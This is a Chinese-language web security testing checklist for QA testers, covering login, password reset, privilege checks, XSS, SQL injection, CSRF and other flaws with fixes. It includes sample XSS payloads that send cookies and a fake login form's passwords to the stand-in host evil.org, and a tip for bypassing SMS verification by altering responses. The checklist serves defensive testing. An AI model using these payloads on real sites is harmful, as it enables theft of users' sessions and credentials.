WEB安全测试要点总结

1、大类检查点：

 

2、测试项详细说明

上传功能

•  绕过文件上传检查功能
•  上传文件大小和次数限制

注册功能

• 注册请求是否安全传输
• 注册时密码复杂度是否后台校验
• 激活连接测试
• 重复注册
• 批量注册问题

 登陆功能

• 登陆请求是否安全传输
• 会话固定：Session fixation attack(会话固定攻击)是利用服务器的session不变机制，借他人之手得到认证和受权，而后冒充他人。
• 关键cookie是否HTTPONLY：若是Cookie设置了HttpOnly标志，能够在发生XSS时避免JavaScript读取Cookie。

但不少Cookie须要给前端JS使用。因此这里只须要关注关键Cookie,即惟一标识用户及登陆状态的会话标识须要添加这个属性。

• 登陆请求错误次数限制
• “记住我”功能：勾选“记住我”后，Cookie中记录了用户名和密码信息。。。
• 本地存储敏感信息

验证码功能

• 验证码的一次性
• 验证码绕过
• 短信验证码轰炸：若是这个接口没有限制策略，就会被人恶意利用

忘记密码功能

• 经过手机号找回：不过因为程序设计不合理，致使能够绕太短信验证码，从而修改别人的密码。（使用burpsuite抓包，修改响应值true）
• 经过邮箱找回

密码安全性要求

• 密码复杂度要求
• 密码保存要求

 横向越权测试
不一样用户之间session共享，能够非法操做对方的数据。
纵向越权测试
不少应用简单的经过前端判断，或者低权限角色看不到对应的菜单，但并未在后台去作当前登陆用户是否有权限。

• XSS测试

跨站脚本攻击(Cross Site Scripting)：恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

• 反射型XSS

利用请求参数param2，进行XSS注入，设置js等可执行或可跳转语句。param2=<script>document.write('<imgsrc="http://evil.org?grabcookie.jsp?cookie='+encodeURI(document.cookie)+'"/>')</script>。
这个网站的已登陆用户去点击，cookie会被发送到 evil.org 上去。

处理意见：对特殊字符转义输出，特别是'"<>这几个。

• 存储型XSS

 在论坛上发表帖子，假设论坛有漏洞，能够在帖子中注入下面的JS内容：
<script>

document.body.innerHTML="<h1>PleaseLogin</h1><form

action=http://evil.org/grabpassword.jspmethod=post><br>User name:<input type=text

name=user><br>Password:<inputtype=text name=password></p><input type=submit

name=login></form>

</script>
当其余用户浏览该帖子时，就会弹出登陆框，如图（用户名+密码登录界面）。

这是页面中注入的XSS生成的，若是您输入了帐号密码，那就被发送给黑客了。

处理意见：对特殊字符转义输出，特别是以下几个'"<>

• DOM型XSS

基于DOM型XSS样例，相比较与Reflected、Stored XSS属于server side execution issues而言，DOM based XSS 是client(browser)side execution issue。

Step1：以下面请求的hash部分，由客户端JS动态执行产生XSS注入。

http://www.webapp.com/example.jsp?param1=value1#\u003ciframeonload=alert('xss')\u003e

Step2：动态生成：<divid="m"><iframeonload="alert('xss')"></iframe></div>

这个比较难测试，通常须要阅读页面中的JS代码，去分析。没有固定的测试步骤，仍是须要你们本身多学习。不做为强制项，WebInspect扫过便可。

处理意见：对特殊字符转义输出，特别是'"<>。

SQL注入测试
SQL注入攻击的基本原理是经过构建特殊的输入参数，迫使后台数据库执行额外的SQL语句，从而达到获取数据库数据的目的。

这些输入参数每每包含恶意的SQL注入语句，后台处理程序没有对这些参数进行过滤，且所使用的数据库查询手段为拼接方式，进而致使敏感数据外泄。

在动态构造SQL语句的过程当中，除了特殊字符处理不当引发的SQL注入以外，错误处理不当也会为Web站点带来不少安全隐患。

最多见的问题就是将详细的内部错误信息显示给攻击者。这些细节会为攻击者提供与网站潜在缺陷相关的重要线索。

在SQL注入的过程当中，若是Web服务器关闭了错误回显，那么是否是就安全了呢？答案显然是否认的，攻击者仍然能够经过 "盲注"技巧测试SQL命令是否注入成功。

所谓"盲注"就是在服务器没有错误回显时完成的注入方式，攻击者必须找到一个方法来验证注入的SQL语句是否执行。

"盲注"主要分为两种类型：基于时间的盲注和布尔盲注。

测试方法（黑盒）：sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，

测试方法（白盒）：若是项目的数据库持久层框架是mybatis，而且他的sqlmap中编写方式都是使用#{xxx}方式，而非使用${xxx}方式，就不存在SQl注入问题。

注：sqlMap中尽可能不要使用$;$使用的是Statement（拼接字符串），会出现注入问题。#使用的是PreparedStatement（相似于预编译），将转义交给了数据库，不会出现注入问题；前者容易出现SQL注入之类的安全问题，因此mybatis推荐使用#。

写接口限制测试
好比：找回密码的邮件。屡次调用，形成邮件轰炸。
新增的接口，如写文章、上传文件等。这些接口若是没有任何限制，那么恶意用户使用程序无限循环的调用接口，就会写入大量的数据。经过并发、循环方式上传大量文件，填满磁盘，消耗服务器资源。
修复建议：对写入量大的接口（如上传）作必要的限制。
CSRF测试
CSRF（Cross-site requestforgery），中文名称：跨站请求伪造。用户C在为退出A的状况下，浏览B，B使用C的session非法访问A。

检查：

Ø  是否有防护CSRF的随机数。验证码、csrf_token等都是。 有则 （经过）

Ø  是否验证referer。有则（经过）

Ø  请求的参数都可推测，无CSRF防护机制。（不经过）

测试中，须要对全部写接口检查，能够采用以下方式，记录接口，标记是否已检查。

修复建议：

Ø  方法1：验证码

验证码制用户必须与应用进行交互，才能完成最终请求。所以在一般状况下，验证码可以很好地遏制CSRF攻击。

可是这种方式易用性方面彷佛不是太好，而且对于简单的图形验证码也有不少绕过机制。防护CSRF的一种辅助手段

Ø  方法2：Referer 验证

当浏览器发送一个HTTP请求时通常都会在Referer中代表发起请求的URL。

经过Referer咱们能够经过判断一个请求是否为同域下发起的来防护CSRF，可是Referer可能会包含一些敏感信息甚至在某些状况下可以被伪造。

所以咱们没法依赖于Referer来做为防护CSRF的主要手段，可是能够经过Referer来监控CSRF攻击的发生。

Ø  方法3：Token验证

在请求原参数不变的条件下，新增了一个随机的、不可预测参数Token是目前最广泛有效的方式。

后端在对数据处理前会首先对Token参数进行验证，只有用户请求中的Token与用户Session（或Cookie）中的Token一致时，才会认为请求是合法的。

因为Token的存在，攻击者就没法构造一个完整的请求实施CSRF攻击，从而保证了网站或系统的安全。

敏感信息泄露
SVN信息泄露：有数据库帐号和密码等信息；

页面泄露敏感信息：有些WEB应用，在返回给客户端的响应中，包含了敏感信息，例如密码。

 目录遍历
在web应用中，以下图所示的显示目录文件列表，会带来必定的安全隐患（服务器文件列表）。

 CRLF
CRLF就是HTTP响应头拆分漏洞。是对用户输入的CR 和LF字符没有进行严格的过滤致使的。

修复建议：过滤CR和LF字符。或者转义。

任意文件读取URL重定向点击劫持ClickJackingXXESSRFCORS问题